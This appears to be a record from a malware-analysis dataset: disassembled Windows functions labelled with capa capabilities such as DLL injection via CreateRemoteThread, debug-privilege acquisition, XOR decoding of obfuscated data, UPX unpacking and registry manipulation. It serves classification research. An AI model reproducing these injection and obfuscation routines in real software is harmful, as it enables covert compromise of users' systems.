joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a35
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push ebx
mov esi, 0x7675
mov edi, esi
mov eax, edi
imul eax, eax, 0x1cc1
mov ebx, eax
mov word [ebp - 4], 0x3cda
mov eax, dword [ebp + 0x10]
add eax, 0x1309
mov byte [ebp - 8], al
mov byte [ebp - 8], 0x84
mov edi, esi
sub edi, ebx
mov eax, ebx
mov word [ebp - 0xc], ax
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp + 0xc]
mov word [ebp - 4], ax
mov eax, dword [ebp + 8]
mov byte [ebp - 8], al
cmp esi, 0x7675
je 0x402a8c
call dword [sym.imp.MSVCRT.dll__wperror]
mov eax, esi
shl eax, 0x10
mov esi, eax
cmp edi, 0xf2b25c40
je 0x402aab
push 0x2ac47
push 0x43734
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov word [ebp - 0x10], 0xb1
cmp esi, 0x76750000
je 0x402ac6
push esi
push ebx
push 0xd1aea
call dword [sym.imp.MSVCRT.dll_log]
cmp edi, 0xf2b25c40
je 0x402adc
push esi
push ebx
push 0x41403
push esi
call dword [sym.imp.MSVCRT.dll__makepath]
mov eax, dword [ebp + 0xc]
or eax, dword [ebp + 0x10]
mov word [ebp - 4], ax
cmp edi, 0xf2b25c40
je 0x402afc
push ebx
push esi
push 0x167d
push edi
call dword [sym.imp.MSVCRT.dll__rmdir]
xor edi, esi
mov eax, dword [ebp + 0xc]
mov word [ebp - 4], ax
mov eax, dword [ebp + 8]
imul eax, eax, 0x7c4f
sub eax, dword [ebp + 8]
mov word [ebp - 4], ax
mov eax, dword [ebp + 8]
movzx edx, byte [ebp - 8]
and eax, edx
xor eax, dword [ebp + 0x10]
mov byte [ebp - 8], al
push 0x50ea
push 0x769
push 0xb29
call fcn.004021d5
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401e20
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [str.ar_ma]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0x3a0043
push eax
mov dword [ebp - 0x4c], 0x4d005c
mov dword [ebp - 0x48], 0x6c0061
mov dword [ebp - 0x44], 0x610077
mov dword [ebp - 0x40], 0x650072
mov dword [ebp - 0x3c], 0x790062
mov dword [ebp - 0x38], 0x650074
mov dword [ebp - 0x34], 0x4c0073
mov dword [ebp - 0x30], 0x420041
mov dword [ebp - 0x2c], 0x73
mov dword [ebp - 0x28], 0x650048
mov dword [ebp - 0x24], 0x6c006c
mov dword [ebp - 0x20], 0x2c006f
mov dword [ebp - 0x1c], 0x4d0020
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x650063
mov dword [ebp - 0x10], 0x6f006c
mov dword [ebp - 0xc], 0x3a0020
mov dword [ebp - 8], 0x29
call dword [0x40c010]
cmp eax, 0xffffffff
je 0x401ee5
push 0x40
push 0x40fce0
lea eax, [ebp - 0x50]
push eax
call dword [0x40c020]
lea eax, [ebp + eax*2 - 0x4e]
push eax
push 0
call dword [0x40c104]
push 0
push 0
push 0
mov dword [ebp - 0x7c], 2
mov dword [ebp - 0x78], 5
mov dword [ebp - 0x74], 0x22
mov dword [ebp - 0x70], 3
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x68], 9
mov dword [ebp - 0x64], 0x18
mov dword [ebp - 0x60], 0xa
mov dword [ebp - 0x5c], 0xb
mov dword [ebp - 0x58], 0x13
mov dword [ebp - 0x54], 0xf
call dword [0x40c008]
call dword [0x40c024]
cmp eax, 0x57
je 0x401f51
push 0
call dword [0x40c004]
xor eax, eax
xor edx, edx
jmp 0x401f60
movzx ecx, byte [ebp + eax*4 - 0x7c]
inc eax
xor byte [edx + 0x4120c0], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x7c]
inc eax
xor byte [edx + 0x4120c1], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x7c]
inc eax
xor byte [edx + 0x4120c2], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
movzx ecx, byte [ebp + eax*4 - 0x7c]
inc eax
xor byte [edx + 0x4120c3], cl
xor ecx, ecx
cmp eax, 0xb
cmove eax, ecx
add edx, 4
cmp edx, 0x12800
jb 0x401f60
call fcn.00401d30
push 0
test eax, eax
jne 0x401f4b
call dword [0x40c01c]
int3
Function at 0x4639d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c000]
push edi
or ebp, 0xffffffff
jmp 0x4639f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4639f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4639e8
mov eax, 1
add ebx, ebx
jne 0x463a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x463a00
jne 0x463a1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x463a00
xor ecx, ecx
sub eax, 3
jb 0x463a30
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x463aa2
mov ebp, eax
add ebx, ebx
jne 0x463a3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x463a48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x463a6c
inc ecx
add ebx, ebx
jne 0x463a58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x463a4d
jne 0x463a69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x463a4d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x463a8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x463a7d
jmp 0x4639ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x463a8c
add edi, ecx
jmp 0x4639ee
pop esi
mov edi, esi
mov ecx, 0x18c00
jmp 0x463ade
mov al, byte [edi]
add edi, 1
cmp al, 0x80
jb 0x463abf
cmp al, 0x8f
ja 0x463abf
cmp byte [edi - 2], 0xf
je 0x463ac5
sub al, 0xe8
cmp al, 1
ja 0x463ae8
cmp byte [edi], 0x11
jne 0x463ae8
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
mov dword [edi], eax
add edi, 4
sub ecx, 4
mov al, byte [edi]
add edi, 1
loop 0x463abf
sub ecx, 1
jg 0x463aac
lea edi, [esi + 0x61000]
mov eax, dword [edi]
or eax, eax
je 0x463b3e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x635a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x63634]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x463af3
mov ecx, edi
jns 0x463b22
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x63638]
or eax, eax
je 0x463b38
mov dword [ebx], eax
add ebx, 4
jmp 0x463b10
call dword [esi + 0x63648]
mov ebp, dword [esi + 0x6363c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x463b72
sub esp, 0xffffff80
jmp 0x40a6cf
Function at 0x10003580
Capabilities:
Get common file path

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0x200
xor ebx, ebx
lea eax, [esi + 0x148]
push ebx
push eax
call fcn.1000d9e0
push 0x104
lea ebp, [esi + 0x44]
push ebx
push ebp
call fcn.1000d9e0
add esp, 0x18
lea ecx, [esi + 0x14]
call fcn.10001ea0
push ebp
push 0x104
mov dword [esi + 0x30], ebx
mov dword [esi + 0x348], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, ebp
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x100035d1
mov cx, word [0x10025550]
add ebp, 0xffffffff
mov word [edi], cx
mov eax, ebp
lea ebx, [ebx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x100035f0
mov edx, dword [str.dbhome.dat]
mov dword [eax], edx
mov ecx, dword [0x10025548]
mov dword [eax + 4], ecx
mov dx, word [0x1002554c]
mov word [eax + 8], dx
mov cl, byte [0x1002554e]
mov byte [eax + 0xa], cl
lea ecx, [esi + 0x34c]
call fcn.10001ea0
lea ecx, [esi + 0x368]
call fcn.10001ea0
lea ecx, [esi + 0x3a8]
mov dword [esi + 0x3a4], ebx
call fcn.10001ea0
lea ecx, [esi + 0x384]
call fcn.10001ea0
lea ecx, [esi + 0x41c]
mov dword [esi + 0x418], ebx
call fcn.10001ea0
lea ecx, [esi + 0x438]
call fcn.10001ea0
lea ecx, [esi + 0x454]
call fcn.10001ea0
lea ecx, [esi + 0x470]
call fcn.10001ea0
lea ecx, [esi + 0x48c]
call fcn.10001ea0
lea ecx, [esi + 0x4a8]
call fcn.10001ea0
mov ebp, dword [esi + 0x3c]
cmp dword [esi + 0x38], ebp
lea edi, [esi + 0x34]
jbe 0x100036a9
call fcn.1000d278
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
mov dword [esp + 0x10], eax
jbe 0x100036be
call fcn.1000d278
mov eax, dword [esp + 0x10]
push ebp
push edi
push eax
push edi
lea edx, [esp + 0x20]
push edx
mov ecx, edi
call fcn.10003140
pop edi
mov dword [esi + 0x4cc], ebx
mov dword [esi + 0x4c8], 1
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10004270
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10004290
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
push edi
mov edi, ecx
jne 0x100042a6
push 0x80004005
call fcn.10003f90
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
mov edx, dword [edi]
add eax, 1
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc

Function at 0x100042d0
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
mov dword [esp + 4], ecx
jne 0x100042e8
push 0x80004005
call fcn.10003f90
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
add eax, 1
add esi, eax
add edi, eax
cmp eax, 1
jne 0x100042f5
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x10004ad0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x1002c5e8]
xor eax, esp
mov dword [esp + 0x118], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x12c]
mov ebp, ecx
mov eax, dword [ebp]
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0xc]
mov esi, eax
test esi, esi
jne 0x10004b3e
test ecx, ecx
je 0x10004b30
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
mov ecx, dword [esp + 0x14]
mov esi, eax
mov dword [esp + 0xc], ecx
je 0x10004b4c
test ecx, ecx
je 0x10004bf1
push ecx
jmp 0x10004beb
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
lea edx, [esp + 0x38]
push edx
push 0
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
jne 0x10004bbe
jmp 0x10004b80
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.10004ad0
mov edi, eax
test edi, edi
jne 0x10004c0d
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], pe_nt_image_headers32
call esi
test eax, eax
je 0x10004b80
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10004bd5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10004bf1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1000d542
add esp, 0x11c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10004c1c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x10004bf3
Function at 0x10009a20
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x30
push esi
push edi
push 0x2c
lea eax, [esp + 0x10]
push 0
push eax
mov esi, ecx
mov dword [esp + 0x14], 0
call fcn.1000d9e0
mov edi, dword [esp + 0x48]
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.1000eaef
push 0x10025cbc
push edi
mov dword [esi + 8], 0
call fcn.1000ef01
add esp, 0x1c
test eax, eax
mov dword [esi + 0xc], eax
jne 0x10009a73
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x30
ret 4
mov eax, dword [esp + 0x1c]
cmp eax, 0x800
jge 0x10009a97
push 0x1000
call fcn.1000cf1b
mov dword [esi], eax
mov eax, dword [esp + 0x20]
mov dword [esi + 8], 0x1000
jmp 0x10009aac
lea edx, [eax + eax]
push edx
call fcn.1000cf1b
mov dword [esi], eax
mov eax, dword [esp + 0x20]
lea ecx, [eax + eax]
mov dword [esi + 8], ecx
mov ecx, dword [esi]
add esp, 4
test ecx, ecx
mov dword [esi + 4], eax
jne 0x10009ac5
pop edi
mov eax, 0xfffffffd
pop esi
add esp, 0x30
ret 4
mov edx, dword [esi + 0xc]
push edx
push 1
push eax
push ecx
call fcn.1000f260
add esp, 0x10
cmp eax, 1
je 0x10009b0f
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10009aea
push eax
call fcn.1000ef87
add esp, 4
mov eax, dword [esi]
push eax
mov dword [esi + 0xc], 0
call fcn.1000d918
add esp, 4
pop edi
mov dword [esi], 0
mov eax, 0xfffffffe
pop esi
add esp, 0x30
ret 4
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
push edx
mov ecx, esi
call fcn.10009980
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret 4

Function at 0x10009b30
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov esi, ecx
xor edi, edi
cmp dword [esi + 0xc], edi
je 0x10009b82
cmp dword [esi + 0x10], edi
je 0x10009b6c
mov eax, dword [esi + 4]
mov ecx, dword [esi]
push eax
push ecx
mov ecx, esi
call fcn.10009980
mov edx, dword [esi + 0xc]
push edx
call fcn.1000f422
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push eax
push 1
push ecx
push edx
call fcn.1000f395
add esp, 0x14
mov eax, dword [esi + 0xc]
push eax
call fcn.1000ef87
add esp, 4
test eax, eax
je 0x10009b82
pop edi
or eax, 0xffffffff
pop esi
ret
mov eax, dword [esi]
cmp eax, edi
je 0x10009b91
push eax
call fcn.1000d918
add esp, 4
mov dword [esi + 0x10], edi
mov dword [esi + 0xc], edi
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov dword [esi], edi
pop edi
xor eax, eax
pop esi
ret
Function at 0x1000a030
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push pe_nt_image_headers32
push 0
push 0x1002ef58
call fcn.1000d9e0
add esp, 0xc
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftInternet_ExplorerVersion_Vector_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1000a065
xor eax, eax
add esp, 0xc
ret
mov eax, dword [esp]
lea ecx, [esp + 4]
push ecx
push 0x1002ef58
lea edx, [esp + 0x10]
push edx
push 0
push 0x10025cc0
push eax
mov dword [esp + 0x1c], pe_nt_image_headers32
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000a05f
push ebx
mov bl, byte [0x1002ef58]
push pe_nt_image_headers32
push eax
push 0x1002ef58
call fcn.1000d9e0
add esp, 0xc
mov eax, 0x1002ef58
mov byte [0x1002ef58], bl
lea edx, [eax + 1]
pop ebx
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x1000a0c0
sub eax, edx
cmp eax, 3
jae 0x1000a0d9
mov byte [0x1002ef59], 0x30
jmp 0x1000a0e5
mov cl, byte [0x1002ef5a]
mov byte [0x1002ef59], cl
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
push 0x1002ef58
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000a05f
push 0x1002ef58
mov byte [0x1002ef59], al
call fcn.1000f6e3
add esp, 4
add esp, 0xc
ret

Function at 0x1000a390
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push 0x800
push 0
push 0x1002f058
call fcn.1000d9e0
add esp, 0xc
lea eax, [esp + 4]
push eax
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000a3e1
mov edx, dword [esp + 4]
lea ecx, [esp]
push ecx
push 0x1002f058
push 0x100254be
push edx
mov dword [esp + 0x10], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov eax, 0x1002f058
add esp, 8
ret

Function at 0x1000a3f0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push 0x800
push 0
push 0x1002f858
call fcn.1000d9e0
add esp, 0xc
lea eax, [esp + 4]
push eax
push str.SOFTWAREClassesCLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000a441
mov edx, dword [esp + 4]
lea ecx, [esp]
push ecx
push 0x1002f858
push 0x100254be
push edx
mov dword [esp + 0x10], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov eax, 0x1002f858
add esp, 8
ret
Function at 0x1000bfe0
Capabilities:
Acquire debug privileges
Check if file exists
Create thread
Inject dll
Inject thread

Disassembly:
cmp dword [0x10030058], 0
jne 0x1000c000
push str.SeDebugPrivilege
call fcn.1000bf70
add esp, 4
mov dword [0x10030058], 1
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebp
add ebx, 1
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000c020
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x10]
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1000c051
push str.InjectDll_hRemoteProcess
push 0x1002d9b8
call fcn.10009950
add esp, 8
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x1000c089
push str.InjectDll_VirtualAllocEx
push 0x1002d9b8
call fcn.10009950
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000c0b9
push str.InjectDll_WriteProcessMemory
push 0x1002d9b8
call fcn.10009950
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0x100260d0
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000c0f4
push str.InjectDll_PTHREAD_START_ROUTINE
push 0x1002d9b8
call fcn.10009950
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
test ebx, ebx
je 0x1000c144
push str.InjectDll_CreateRemoteThread
push 0x1002d9b8
call fcn.10009950
add esp, 8
push 0xbb8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1000c141
push 0x8000
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call ebp
push esi
call ebp
push str.InjectDll_Exit
push 0x1002d9b8
call fcn.10009950
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x1000c280
Capabilities:
Check if file exists
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10024acb
mov eax, dword fs:[0]
push eax
sub esp, 0x734
mov eax, dword [0x1002c5e8]
xor eax, esp
mov dword [esp + 0x730], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1002c5e8]
xor eax, esp
push eax
lea eax, [esp + 0x748]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x758]
xor ebx, ebx
mov dword [esp + 0x18], ebx
push ebx
push 0x100254be
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.10001c00
push 0x103
lea eax, [esp + 0x3d]
push ebx
push eax
mov dword [esp + 0x75c], ebx
mov byte [esp + 0x44], bl
call fcn.1000d9e0
add esp, 0xc
push ebx
push 0x10
lea ecx, [esp + 0x40]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [esp + 0x38]
add edi, 0xffffffff
jmp 0x1000c320
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x1000c320
mov ecx, 5
mov esi, str.Internet_Explorer.lnk
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [esp + 0x38]
push edx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000c42e
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea edx, [esp + 0x14]
push edx
push 0x100261dc
push 1
push ebx
push 0x100261ec
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000c428
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push 0x1002625c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x1000c41c
push 0x104
lea ecx, [esp + 0x140]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x140]
push edx
push eax
mov eax, dword [ecx + 0x14]
call eax
test eax, eax
jl 0x1000c410
push 0x3ff
lea ecx, [esp + 0x349]
push ebx
push ecx
mov byte [esp + 0x350], bl
call fcn.1000d9e0
mov eax, dword [esp + 0x20]
mov edx, dword [eax]
mov edx, dword [edx + 0x28]
add esp, 0xc
push 0x3fe
lea ecx, [esp + 0x348]
push ecx
push eax
call edx
test eax, eax
jl 0x1000c410
lea eax, [esp + 0x344]
push eax
lea ecx, [esp + 0x20]
call fcn.10002230
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x24]
mov dword [ebp + 0x18], 0xf
mov dword [ebp + 0x14], ebx
push eax
mov ecx, ebp
mov byte [ebp + 4], bl
call fcn.10001a50
cmp dword [esp + 0x34], 0x10
jb 0x1000c45e
mov ecx, dword [esp + 0x20]
push ecx
call fcn.1000d073
add esp, 4
mov eax, ebp
mov ecx, dword [esp + 0x748]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x730]
xor ecx, esp
call fcn.1000d542
add esp, 0x740
ret

Function at 0x1000d542
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002c5e8]
jne 0x1000d54c
repz ret
jmp fcn.10012f77
Function at 0x1001e5f4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10011db0
xor ebx, ebx
cmp dword [0x10030a6c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1001e6c9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1001e634
xor eax, eax
jmp 0x1001e78d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001e62d
push eax
call fcn.10011d4d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10030a6c], eax
call esi
push eax
call fcn.10011d4d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10030a70], eax
call esi
push eax
call fcn.10011d4d
mov dword [0x10030a74], eax
lea eax, [ebp - 8]
push eax
call fcn.10015093
test eax, eax
pop ecx
pop ecx
je 0x1001e697
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000d158
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1001e6c9
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10011d4d
cmp eax, ebx
pop ecx
mov dword [0x10030a7c], eax
je 0x1001e6c9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10011d4d
pop ecx
mov dword [0x10030a78], eax
mov eax, dword [0x10030a78]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1001e742
cmp dword [0x10030a7c], esi
je 0x1001e742
push eax
call fcn.10011db9
pop ecx
call eax
cmp eax, ebx
je 0x1001e70f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10030a7c]
call fcn.10011db9
pop ecx
call eax
test eax, eax
je 0x1001e70f
test byte [ebp - 0x18], 1
jne 0x1001e742
lea eax, [ebp - 0xc]
push eax
call fcn.100150ca
test eax, eax
pop ecx
je 0x1001e72a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000d158
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1001e739
or dword [ebp + 0x10], 0x200000
jmp 0x1001e773
or dword [ebp + 0x10], 0x40000
jmp 0x1001e773
mov eax, dword [0x10030a70]
cmp eax, esi
je 0x1001e773
push eax
call fcn.10011db9
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1001e773
mov eax, dword [0x10030a74]
cmp eax, esi
je 0x1001e773
push dword [ebp - 4]
push eax
call fcn.10011db9
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10030a6c]
call fcn.10011db9
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret